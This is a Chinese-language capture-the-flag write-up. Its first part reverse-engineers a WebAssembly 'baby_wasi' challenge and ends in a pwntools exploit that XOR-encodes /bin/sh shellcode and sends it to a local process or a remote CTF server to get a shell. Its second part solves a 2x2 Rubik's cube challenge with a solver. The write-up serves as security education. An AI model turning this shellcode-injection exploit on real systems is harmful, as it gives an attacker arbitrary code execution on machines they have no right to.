從反編譯的代碼里面可以看到有_start函數(shù),然后需要從這一堆函數(shù)里面找到關(guān)鍵函數(shù)...對于wasm患雏,所有的字符串會被存放在二進(jìn)制文件的末尾鹏溯,而且wasm并不是直接對地址的引用,想找到這些字符串會比較困難淹仑。Nu1L的wp里面說識別出來malloc,free,exit這些函數(shù)然后才推測出來main函數(shù)的位置,我在谷歌上找到了一份保留函數(shù)名稱的代碼丙挽,可以對照著識別出來main函數(shù)肺孵,函數(shù)如下:

static void _start(void) {
  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0;
  FUNC_PROLOGUE;
  u32 i0, i1, i2;
  i0 = g0;
  i1 = 16u;
  i0 -= i1;
  l0 = i0;
  g0 = i0;
  __wasilibc_init_preopen();
  i0 = 3u;
  l1 = i0;
  L1: 
    i0 = l1;
    i1 = l0;
    i0 = (*Z_wasi_unstableZ_fd_prestat_getZ_iii)(i0, i1);
    l2 = i0;
    i1 = 8u;
    i0 = i0 > i1;
    if (i0) {goto B0;}
    i0 = l2;
    switch (i0) {
      case 0: goto B3;
      case 1: goto B0;
      case 2: goto B0;
      case 3: goto B0;
      case 4: goto B0;
      case 5: goto B0;
      case 6: goto B0;
      case 7: goto B0;
      case 8: goto B2;
      default: goto B3;
    }
    B3:;
    i0 = l0;
    i0 = i32_load8_u((&memory), (u64)(i0));
    if (i0) {goto B4;}
    i0 = l0;
    i0 = i32_load((&memory), (u64)(i0 + 4));
    i1 = 1u;
    i0 += i1;
    i0 = malloc(i0);
    l2 = i0;
    i0 = !(i0);
    if (i0) {goto B0;}
    i0 = l1;
    i1 = l2;
    i2 = l0;
    i2 = i32_load((&memory), (u64)(i2 + 4));
    i0 = (*Z_wasi_unstableZ_fd_prestat_dir_nameZ_iiii)(i0, i1, i2);
    i0 = !(i0);
    if (i0) {goto B5;}
    i0 = l2;
    free(i0);
    goto B0;
    B5:;
    i0 = l2;
    i1 = l0;
    i1 = i32_load((&memory), (u64)(i1 + 4));
    i0 += i1;
    i1 = 0u;
    i32_store8((&memory), (u64)(i0), i1);
    i0 = l1;
    i1 = l2;
    i0 = __wasilibc_register_preopened_fd(i0, i1);
    l3 = i0;
    i0 = l2;
    free(i0);
    i0 = l3;
    if (i0) {goto B0;}
    B4:;
    i0 = l1;
    i1 = 1u;
    i0 += i1;
    l2 = i0;
    i1 = l1;
    i0 = i0 < i1;
    l3 = i0;
    i0 = l2;
    l1 = i0;
    i0 = l3;
    i0 = !(i0);
    if (i0) {goto L1;}
    B2:;
  i0 = l0;
  i1 = l0;
  i2 = 12u;
  i1 += i2;
  i0 = (*Z_wasi_unstableZ_environ_sizes_getZ_iii)(i0, i1);
  if (i0) {goto B8;}
  i0 = 0u;
  i1 = l0;
  i1 = i32_load((&memory), (u64)(i1));
  i2 = 2u;
  i1 <<= (i2 & 31);
  i2 = 4u;
  i1 += i2;
  i1 = malloc(i1);
  i32_store((&memory), (u64)(i0 + 1528), i1);
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0 + 12));
  i0 = malloc(i0);
  l1 = i0;
  i0 = !(i0);
  if (i0) {goto B8;}
  i0 = 0u;
  i0 = i32_load((&memory), (u64)(i0 + 1528));
  l2 = i0;
  i0 = !(i0);
  if (i0) {goto B8;}
  i0 = l2;
  i1 = l0;
  i1 = i32_load((&memory), (u64)(i1));
  i2 = 2u;
  i1 <<= (i2 & 31);
  i0 += i1;
  i1 = 0u;
  i32_store((&memory), (u64)(i0), i1);
  i0 = 0u;
  i0 = i32_load((&memory), (u64)(i0 + 1528));
  i1 = l1;
  i0 = (*Z_wasi_unstableZ_environ_getZ_iii)(i0, i1);
  if (i0) {goto B8;}
  i0 = l0;
  i1 = 12u;
  i0 += i1;
  i1 = l0;
  i0 = (*Z_wasi_unstableZ_args_sizes_getZ_iii)(i0, i1);
  if (i0) {goto B7;}
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0 + 12));
  l1 = i0;
  if (i0) {goto B10;}
  goto B9;
  B10:;
  i0 = l1;
  i1 = 2u;
  i0 <<= (i1 & 31);
  i1 = 4u;
  i0 += i1;
  i0 = malloc(i0);
  l1 = i0;
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0));
  i0 = malloc(i0);
  l2 = i0;
  i0 = l1;
  i0 = !(i0);
  if (i0) {goto B7;}
  i0 = l2;
  i0 = !(i0);
  if (i0) {goto B7;}
  i0 = l1;
  i1 = 0u;
  i32_store((&memory), (u64)(i0), i1);
  i0 = l1;
  i1 = l2;
  i0 = (*Z_wasi_unstableZ_args_getZ_iii)(i0, i1);
  if (i0) {goto B7;}
  B9:;
  __wasm_call_ctors();
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0 + 12));
  i1 = l1;
  i0 = main(i0, i1);
  l1 = i0;
  __prepare_for_exit();
  i0 = l1;
  if (i0) {goto B6;}
  i0 = l0;
  i1 = 16u;
  i0 += i1;
  g0 = i0;
  goto Bfunc;
  B8:;
  i0 = 71u;
  _Exit(i0);
  UNREACHABLE;
  B7:;
  i0 = 71u;
  _Exit(i0);
  UNREACHABLE;
  B6:;
  i0 = l1;
  _Exit(i0);
  UNREACHABLE;
  B0:;
  i0 = 71u;
  _Exit(i0);
  UNREACHABLE;
  Bfunc:;
  FUNC_EPILOGUE;
}

然后根據(jù)這個可以識別出來main函數(shù),找到main函數(shù)以后就比較好找關(guān)鍵函數(shù)的位置了颜阐,關(guān)鍵函數(shù)如下:

__int64 real_main()
{
  unsigned int v0; // ST38_4
  unsigned int v1; // eax
  unsigned int c; // ST2C_4
  int v3; // ST30_4
  int v5; // [rsp+18h] [rbp-28h]
  unsigned int v7; // [rsp+1Ch] [rbp-24h]
  unsigned int lucky_num; // [rsp+20h] [rbp-20h]

  if ( ++wasm_rt_call_stack_depth > 0x1F4u )
    wasm_rt_trap(7LL);
  g0 -= 96;
  v7 = g0;
  v5 = 0;
  v0 = f28(0);
  f88(v0);
  lucky_num = (signed int)f89() % 10000;
  i32_store(&memory, v7 + 16, lucky_num);
  f40(1024LL, v7 + 16);                      // Your lucky number: %d\n
  i32_store(&memory, v7, v7 + 32);
  f69(1047u, v7);                             // %64s
  while ( v5 != 64 )
  {
    c = i32_load8_u(&memory, v5 + v7 + 32);
    v3 = get_lucky(v5 + lucky_num);
    i32_store8(&memory, v5++ + v7 + 32, v3 ^ c);
  }
  Z_envZ_boomZ_vii(v7 + 32, 64LL);              // 調(diào)用boom函數(shù)
  v1 = i32_load(&memory, 3416LL);
  f39(v1);
  g0 = v7 + 96;
  --wasm_rt_call_stack_depth;
  return 0LL;
}

f40的參數(shù)是1024,f69的參數(shù)是1047,剛好對應(yīng)之前的字符串常量之間的偏移,memory的初始化如下:

char *init_memory()
{
  _QWORD *v0; // rdx
  _QWORD *v1; // rdx
  _QWORD *v2; // rdx
  _BYTE *v3; // rdi
  signed __int64 v4; // rdx
  char *result; // rax

  wasm_rt_allocate_memory(&memory, 2LL, 0x10000LL);
  v0 = (_QWORD *)(memory + 1024);
  *v0 = *(_QWORD *)"Your lucky number: %d\n";
  *(_QWORD *)((char *)v0 + 3060) = *(_QWORD *)&data_segment_data_0[3060];
  qmemcpy(
    (void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    (const void *)("Your lucky number: %d\n" - ((char *)v0 - ((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
    8LL * ((((_DWORD)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 3068) & 0xFFFFFFF8) >> 3));
  v1 = (_QWORD *)(memory + 4096);
  *v1 = data_segment_data_1[0];
  v1[328] = data_segment_data_1[328];
  qmemcpy(
    (void *)((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    (const void *)((char *)data_segment_data_1 - ((char *)v1 - ((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
    8LL * ((((_DWORD)v1 - (((_DWORD)v1 + 8) & 0xFFFFFFF8) + 2632) & 0xFFFFFFF8) >> 3));
  v2 = (_QWORD *)(memory + 6728);
  *v2 = data_segment_data_2[0];
  *(_QWORD *)((char *)v2 + 348) = *(_QWORD *)((char *)&data_segment_data_2[43] + 4);
  v3 = (_BYTE *)((unsigned __int64)(v2 + 1) & 0xFFFFFFFFFFFFFFF8LL);
  v4 = (char *)v2 - v3;
  result = (char *)data_segment_data_2 - v4;
  qmemcpy(v3, (char *)data_segment_data_2 - v4, 8LL * ((((_DWORD)v4 + 356) & 0xFFFFFFF8) >> 3));
  return result;
}

可以看到memory + 1024中是"Your lucky number"所以可以大致猜到f40是printf函數(shù)
然后其他的字符串偏移如下:

.rodata:0000000000032FC0 data_segment_data_0 db 'Your lucky number: %d',0Ah,0
.rodata:0000000000032FC0                 ; DATA XREF: init_memory+2A↑o
.rodata:0000000000032FD7 a64s            db '%64s',0
.rodata:0000000000032FDC aReady          db 'Ready!!!',0

memory + 1024 - 0x32FC0 + 0x32FD7 = memory + 1047,所以f69的第一個參數(shù)是"%64"平窘,推斷出f69是scanf函數(shù)。附加一些wasm中函數(shù)含義

i32_store(&memory, v7 + 16, lucky_num);  // v7+16 = lucky_num
c = i32_load8_u(&memory, v5 + v7 + 32);  // c = v5+v7+32
v1 = i32_load(&memory, 3416LL);  //加載3416處的值到v1中

wasmer-c-api

主程序baby_wasi加載并執(zhí)行program.wasm凳怨,其中baby_wasi是使用了一些wasmer-c-api來執(zhí)行wasm的瑰艘,需要了解一下這些api的含義才能更好的理解程序執(zhí)行過程. wasmer-c-api的手冊https://docs.rs/wasmer-runtime-c-api/0.16.2/wasmer_runtime_c_api/
找到了一個使用wasmer-c-api執(zhí)行wasm的例子,對照這個例子理解一下:

#include <stdio.h>
#include "../wasmer.h"
#include <assert.h>
#include <stdint.h>
#include <string.h>

typedef struct {
    int32_t amount;
    int32_t value;
} counter_data;

typedef struct {
    uint8_t* bytes;
    long bytes_len;
} wasm_file_t;

wasm_file_t read_wasm_file(const char* file_name) {
    wasm_file_t wasm_file;

    FILE *file = fopen(file_name, "r");
    fseek(file, 0, SEEK_END);
    wasm_file.bytes_len = ftell(file);

    wasm_file.bytes = malloc(wasm_file.bytes_len);
    fseek(file, 0, SEEK_SET);
    fread(wasm_file.bytes, 1, wasm_file.bytes_len, file);
    fclose(file);

    return wasm_file;
}

void inc_counter(wasmer_instance_context_t *ctx) {
    counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
    data->value = data->value + data->amount;
}

void mul_counter(wasmer_instance_context_t *ctx) {
    counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
    data->value = data->value * data->amount;
}

int32_t get_counter(wasmer_instance_context_t *ctx) {
    counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
    return data->value;
}

counter_data *init_counter(int32_t value, int32_t amount) {
    counter_data* counter = malloc(sizeof(counter_data));
    counter->value = value;
    counter->amount = amount;
    return counter;
}

wasmer_import_t create_import(char* module_name, char* import_name, wasmer_import_func_t *func) {
    wasmer_import_t import;
    wasmer_byte_array module_name_bytes;
    wasmer_byte_array import_name_bytes;

    module_name_bytes.bytes = (const uint8_t *) module_name;
    module_name_bytes.bytes_len = strlen(module_name);

    import_name_bytes.bytes = (const uint8_t *) import_name;
    import_name_bytes.bytes_len = strlen(import_name);

    import.module_name = module_name_bytes;
    import.import_name = import_name_bytes;

    import.tag = WASM_FUNCTION;
    import.value.func = func;

    return import;
}

int main()
{
    // Prepare Imports
    wasmer_value_tag inc_params_sig[] = {};
    wasmer_value_tag inc_returns_sig[] = {};
    //把inc_counter函數(shù)加載到wasm的env中并命名位inc
    wasmer_import_func_t *inc_func = wasmer_import_func_new((void (*)(void *)) inc_counter, inc_params_sig, 0, inc_returns_sig, 0);
    wasmer_import_t inc_import = create_import("env", "inc", inc_func);

    wasmer_value_tag mul_params_sig[] = {};
    wasmer_value_tag mul_returns_sig[] = {};
    //把mul_counter函數(shù)加載到wasm的env中并命名位mul
    wasmer_import_func_t *mul_func = wasmer_import_func_new((void (*)(void *)) mul_counter, mul_params_sig, 0, mul_returns_sig, 0);
    wasmer_import_t mul_import = create_import("env", "mul", mul_func);

    wasmer_value_tag get_params_sig[] = {};
    wasmer_value_tag get_returns_sig[] = {WASM_I32};
    //把get_counter函數(shù)加載到wasm的env中并命名位get
    wasmer_import_func_t *get_func = wasmer_import_func_new((void (*)(void *)) get_counter, get_params_sig, 0, get_returns_sig, 1);
    wasmer_import_t get_import = create_import("env", "get", get_func);

    // Read the wasm file
    wasm_file_t wasm_file = read_wasm_file("inc.wasm");

    // Compile module
        wasmer_module_t *module = NULL;
        wasmer_result_t compile_res = wasmer_compile(&module, wasm_file.bytes, wasm_file.bytes_len);
        assert(compile_res == WASMER_OK);

        // Prepare Import Object
    wasmer_import_object_t *import_object = wasmer_import_object_new();

    // First, we import `inc_counter` and `mul_counter`
    wasmer_import_t imports[] = {inc_import, mul_import};
    wasmer_result_t extend_res = wasmer_import_object_extend(import_object, imports, 2);
    assert(extend_res == WASMER_OK);

    // Now, we'll import `inc_counter` and `mul_counter`
    wasmer_import_t more_imports[] = {get_import};
    wasmer_result_t extend_res2 = wasmer_import_object_extend(import_object, more_imports, 1);
    assert(extend_res2 == WASMER_OK);

    // Same `wasmer_import_object_extend` as the first, doesn't affect anything
    wasmer_result_t extend_res3 = wasmer_import_object_extend(import_object, imports, 2);
    assert(extend_res3 == WASMER_OK);

    // Instantiate instance
    printf("Instantiating\n");
    wasmer_instance_t *instance = NULL;
    wasmer_result_t instantiate_res = wasmer_module_import_instantiate(&instance, module, import_object);
    printf("Compile result:  %d\n", instantiate_res);
    assert(instantiate_res == WASMER_OK);

    // Init counter
    counter_data *counter = init_counter(2, 5);
    wasmer_instance_context_data_set(instance, counter);

    wasmer_value_t result_one;
    wasmer_value_t params[] = {};
    wasmer_value_t results[] = {result_one};
    
    // 調(diào)用wast的inc_and_get函數(shù)
    wasmer_result_t call1_result = wasmer_instance_call(instance, "inc_and_get", params, 0, results, 1);
    printf("Call result:  %d\n", call1_result);
    printf("Result: %d\n", results[0].value.I32);
    
    // 調(diào)用wast的mul_and_get函數(shù)
    wasmer_result_t call2_result = wasmer_instance_call(instance, "mul_and_get", params, 0, results, 1);
    printf("Call result:  %d\n", call2_result);
    printf("Result: %d\n", results[0].value.I32);

    // Clear resources
    wasmer_import_func_destroy(inc_func);
    wasmer_import_func_destroy(mul_func);
    wasmer_import_func_destroy(get_func);
    wasmer_instance_destroy(instance);
    free(counter);
    free(wasm_file.bytes);

    return 0;
}

//inc.wast
(module
  (func $inc (import "env" "inc"))
  (func $mul (import "env" "mul"))
  (func $get (import "env" "get") (result i32))

  (func (export "inc_and_get") (result i32)
      call $inc
      call $get)

  (func (export "mul_and_get") (result i32)
      call $mul
      call $get))

然后對比著看我們的baby_wasi:

  v73 = wasmer_import_func_new(boom, &v56, 2LL, &v55, 0LL);
  s = "env";
  *(_QWORD *)&v54 = "env";
  DWORD2(v54) = strlen("env");
  v71 = "boom";
  v52 = "boom";
  LODWORD(v53) = strlen("boom");
  v47 = v54;
  v48 = "boom";
  v49 = v53;

可以看到baby_wasi把boom函數(shù)導(dǎo)入了wasm的env中肤舞,然后來看一下program.wat中相應(yīng)的部分:

  (import "wasi_unstable" "fd_prestat_get" (func (;0;) (type 2)))
  (import "wasi_unstable" "fd_prestat_dir_name" (func (;1;) (type 0)))
  (import "env" "boom" (func (;2;) (type 3)))  //在這里導(dǎo)入了
  (import "wasi_unstable" "clock_time_get" (func (;3;) (type 4)))
  (import "wasi_unstable" "proc_exit" (func (;4;) (type 5)))

在剛才找到的關(guān)鍵代碼處:

 scanf(1047u, v7);                             // %64s
  while ( v5 != 64 )
  {
    c = i32_load8_u(&memory, v5 + v7 + 32);
    v3 = get_lucky(v5 + lucky_num);
    i32_store8(&memory, v5++ + v7 + 32, v3 ^ c);
  }
  Z_envZ_boomZ_vii(v7 + 32, 64LL);  // 調(diào)用boom函數(shù)

Z_envZ_boomZ_vii就是boom函數(shù)
所以在對輸入進(jìn)行異或之后紫新,把異或后的內(nèi)容的地址作為參數(shù)調(diào)用了boom函數(shù)

__int64 __fastcall boom(__int64 a1, int a2, int a3)
{
  int v3; // ST00_4
  void *dest; // ST28_8
  __int64 v5; // rax
  const void *v6; // rsi

  v3 = a3;
  dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  v5 = wasmer_instance_context_memory(a1, 0LL);
  v6 = (const void *)(wasmer_memory_data(v5) + a2);
  memcpy(dest, v6, v3);
  return ((__int64 (__fastcall *)(void *, const void *))dest)(dest, v6);
}

可以看到boom函數(shù)直接執(zhí)行了輸入后異或的代碼,簡單來說就是我們輸入一個長度小于64的字符串,然后程序把這個字符串異或以后執(zhí)行李剖,所以我們需要傳入一段經(jīng)過異或的shell芒率,程序就可以執(zhí)行這個shell了。異或的部分根據(jù)wp來看是key[i]=emirp[lucky_nubmer + i] % 256, emirp 即為反素數(shù)序列篙顺,可以參考:https://oeis.org/A006567 我們可以直接還原代碼對shell異或

exp

from pwn import *
context.log_level = 'debug'
#context.terminal=['tmux','split','-h']
context(arch='amd64', os='linux',log_level='debug')
debug = 1

def prime_test(n):
    if n & 1 and n % 3 :
        v3 = 7
        while (v3 - 6) ** 2 < n:
            if n % (v3 - 2) :
                v1 = n % v3
                v3 += 6
                if v1:
                    continue
            return 0
        return 1
    return 0

def invsere_decimal(x):
    return int(str(x)[::-1])

def is_prime(x):
    v3 = invsere_decimal(x)
    if v3 != x and prime_test(x):
        return prime_test(v3) != 0
    return False

def next_prime(x):
    v3 = 0
    v4 = 0
    v5 = 0
    while v4 < x + 1:
        v6 = is_prime(v3)
        if v6:
            v1 = v3
        else:
            v1 = v5

        v5 = v1
        v3 = v3 + 1
        if v6:
            v4 += 1
    return v5

def payload_encode(payload, lck_n):
    print 'lck:%d' % lck_n
    rtn = ''
    for i in xrange(len(payload)):
        c = ord(payload[i]) ^ (next_prime(lck_n) & 0xff)
        lck_n += 1
        rtn += chr(c)
    return rtn

if debug:
    p = process('./baby_wasi')
else:
    p = remote('121.37.164.32', 19008)

def exp():
    #gdb.attach(p, 'b boom')
    p.recvuntil("Your lucky number: ")
    lckn = int(p.recv())
    #payload = '\xff' * 64
    payload = asm(shellcraft.sh())
    print "[+]payload plain: "+payload
    payload = payload_encode(payload, lckn)
    print '[+] payload len: %d' % len(payload)
    p.sendline(payload)
    p.interactive()

s = raw_input('wait for gdb')
exp()

Rubik(魔方)

題目是Rubik加上提供了URF三種操作偶芍,所以是一個魔方題。然后魔方的狀態(tài)使用最多9個字節(jié)描述德玫,說明是一個2*2的魔方(3*3的魔方至少需要21個字節(jié)描述)
在線魔方求解器
OptimalSolver-Nu1L
py222-Helica
我感覺helica這個魔方求解器的邏輯要簡單一些(Nu1L給的魔方求解器能求出來一些py222不能給的解法),所以我還是用了師父給的,畢竟我研究了挺久只會這個...

2*2魔方簡介

首先一個標(biāo)準(zhǔn)的魔方是如下結(jié)構(gòu)的:

       ┌──┬──┐
       │ 0│ 1│
       ├──┼──┤
       │ 2│ 3│
 ┌──┬──┼──┼──┼──┬──┬──┬──┐
 │16│17│ 8│ 9│ 4│ 5│20│21│
 ├──┼──┼──┼──┼──┼──┼──┼──┤
 │18│19│10│11│ 6│ 7│22│23│
 └──┴──┼──┼──┼──┴──┴──┴──┘
       │12│13│
       ├──┼──┤
       │14│15│
       └──┴──┘

一個魔方分為UDFBRL六個面匪蟀,按照上面這個標(biāo)準(zhǔn)的魔方展開圖來說,891011這個面是F面宰僧,0123這個面是U面材彪,4567這個面是R面,然后FUR這三個操作就是分別對應(yīng)這三個面做順時針旋轉(zhuǎn)操作(F2指對F面順時針旋轉(zhuǎn)兩次, F'指對F面逆時針旋轉(zhuǎn)一次)

py222用法

solver.py里面給出了求解的調(diào)用過程

#doAlgStr(state, move)表示對處于state的魔方進(jìn)行move操作
s = py222.doAlgStr(py222.initState(), "R U2 R2 F2 R' F2 R F R")
#打印進(jìn)行上述操作后的魔方狀態(tài)
py222.printCube(s)
#求解,輸入s是一個長度為24的整數(shù)數(shù)組琴儿,
solveCube(s)

魔方還原

明白是一個2*2的魔方之后查刻,主要的難點在于給的狀態(tài)并不是按照標(biāo)準(zhǔn)魔方狀態(tài)給的,就是給的9字節(jié)狀態(tài),轉(zhuǎn)成24長度的數(shù)組后凤类,數(shù)組的0123位并不對于上面給的魔方標(biāo)準(zhǔn)狀態(tài)的0123位置,為了還原位置我們需要記錄對標(biāo)準(zhǔn)魔方分別做URF后的狀態(tài)穗泵。題目中給的標(biāo)準(zhǔn)狀態(tài)數(shù)字是0xB6D9246DB492249,我們在旋轉(zhuǎn)魔方操作之前將表示狀態(tài)的內(nèi)存中的數(shù)字修改為0xB6D9246DB492249,然后分別做URF操作谜疤,記錄操作后的狀態(tài)

x /2xg addr //按照16進(jìn)制打印addr處的內(nèi)容(一個g是8字節(jié))

set {long}addr = 0xB6D9246DB492249 //修改addr處的內(nèi)容

用下面程序還原分別做URF操作后魔方的狀態(tài)

def printc(c):
    for i in range(6):
        print("".join(str(a) for a in c[i*4:i*4+4]),end=" ")
    print("\n")
def change_format(b):
    buf = ''
    for i in range(72):
        buf += chr(ord('0') + bool(((1<<i) & b)))
    buf = buf[::-1]

    s = ''
    for i in range(len(buf)):
        s += buf[i]
        if i%3 == 2:
            s += ' '
    # print(s)
    s = s.split(' ')
    t = [0] * 24

    for x in range(24):
        tmp = int(s[x], 2)
        t[x] = tmp
    return t
print("init")
c =  change_format(0xB6D9246DB492249)
printc(c)
print("after U")
c =  change_format(0x0a4db646db912291)
printc(c)
print("after R")
c =  change_format(0x900b6d8dc64b492009)
printc(c)
print("after F")
c =  change_format(0x09002d924b5b4da249)
printc(c)
"""
init
0000 5555 4444 3333 2222 1111

after U
0000 5115 5544 3333 4422 1221

after R
4400 5555 4334 3113 2222 0011

after F
0220 0055 4444 5533 2332 1111
"""

根據(jù)上面的結(jié)果可以按照字符串順序還原出這個魔方對應(yīng)的狀態(tài)

       ┌──┬──┐
       │15│14│
       ├──┼──┤
       │12│13│
 ┌──┬──┼──┼──┼──┬──┬──┬──┐
 │ 6│ 5│22│21│17│16│ 9│ 8│
 ├──┼──┼──┼──┼──┼──┼──┼──┤
 │ 7│ 4│23│20│18│19│10│11│
 └──┴──┼──┼──┼──┴──┴──┴──┘
       │ 2│ 1│
       ├──┼──┤
       │ 3│ 0│
       └──┴──┘

也就是說佃延,字符串中第0個位置對應(yīng)py222給出的標(biāo)準(zhǔn)魔方的第15個位置,字符串中第1個位置對應(yīng)py222給出的標(biāo)準(zhǔn)魔方的第13個位置
然后我們根據(jù)字符的順序夷磕,將這些字符填入它們在標(biāo)準(zhǔn)魔方中的對應(yīng)位置后求解

import py222
import solver

def change_format(a, b):
    buf = ''    
    for i in range(64):
        buf += chr(ord('0') + bool(((1<<i) & b)))
    for i in range(8):
        buf += chr(ord('0') + bool(((1<<i) & a)))
    buf = buf[::-1]  #每三比特表示一個面的狀態(tài)

    s = ''
    for i in range(len(buf)):
        s += buf[i]
        if i%3 == 2:
            s += ' '
    print(s)
    s = s.split(' ')
    t = [0] * 24

    for x in range(24):
        tmp = int(s[x], 2)
        t[x] = tmp
    tbl = [15, 13, 12, 14, 19, 17, 16, 18, 21, 20, 22, 23, 2, 3, 1, 0, 5, 4, 6, 7, 11, 9, 8, 10]
    ns = [0] * 24

    for pos in range(24):
        ns[tbl[pos]] = t[pos]
    
    return ns

c =  change_format(0x22, 0x00cd0d496d3132d2)  #初始狀態(tài),第一個參數(shù)是最高字節(jié),第二個參數(shù)是低8字節(jié)
print(c)

solver.solveCube(c)

"""
R F' R F R' F U' F'
題目中沒有定義F2,F'這些操作,F2就是FF,F'就是FFF
"""
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末履肃,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子坐桩,更是在濱河造成了極大的恐慌尺棋,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,544評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件绵跷,死亡現(xiàn)場離奇詭異膘螟,居然都是意外死亡成福,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評論 3 392
  • 文/潘曉璐 我一進(jìn)店門荆残,熙熙樓的掌柜王于貴愁眉苦臉地迎上來奴艾,“玉大人,你說我怎么就攤上這事内斯≡塘剩” “怎么了?”我有些...
    開封第一講書人閱讀 162,764評論 0 353
  • 文/不壞的土叔 我叫張陵俘闯,是天一觀的道長潭苞。 經(jīng)常有香客問我,道長真朗,這世上最難降的妖魔是什么萄传? 我笑而不...
    開封第一講書人閱讀 58,193評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮蜜猾,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘振诬。我一直安慰自己蹭睡,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,216評論 6 388
  • 文/花漫 我一把揭開白布赶么。 她就那樣靜靜地躺著肩豁,像睡著了一般。 火紅的嫁衣襯著肌膚如雪辫呻。 梳的紋絲不亂的頭發(fā)上清钥,一...
    開封第一講書人閱讀 51,182評論 1 299
  • 那天,我揣著相機(jī)與錄音放闺,去河邊找鬼祟昭。 笑死,一個胖子當(dāng)著我的面吹牛怖侦,可吹牛的內(nèi)容都是我干的篡悟。 我是一名探鬼主播,決...
    沈念sama閱讀 40,063評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼匾寝,長吁一口氣:“原來是場噩夢啊……” “哼搬葬!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起艳悔,我...
    開封第一講書人閱讀 38,917評論 0 274
  • 序言:老撾萬榮一對情侶失蹤急凰,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后猜年,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體抡锈,經(jīng)...
    沈念sama閱讀 45,329評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡疾忍,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,543評論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了企孩。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片锭碳。...
    茶點故事閱讀 39,722評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖勿璃,靈堂內(nèi)的尸體忽然破棺而出擒抛,到底是詐尸還是另有隱情,我是刑警寧澤补疑,帶...
    沈念sama閱讀 35,425評論 5 343
  • 正文 年R本政府宣布歧沪,位于F島的核電站,受9級特大地震影響莲组,放射性物質(zhì)發(fā)生泄漏诊胞。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,019評論 3 326
  • 文/蒙蒙 一锹杈、第九天 我趴在偏房一處隱蔽的房頂上張望撵孤。 院中可真熱鬧,春花似錦竭望、人聲如沸邪码。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽闭专。三九已至,卻和暖如春旧烧,著一層夾襖步出監(jiān)牢的瞬間影钉,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評論 1 269
  • 我被黑心中介騙來泰國打工掘剪, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留平委,地道東北人。 一個月前我還...
    沈念sama閱讀 47,729評論 2 368
  • 正文 我出身青樓夺谁,卻偏偏與公主長得像肆汹,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子予权,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,614評論 2 353

推薦閱讀更多精彩內(nèi)容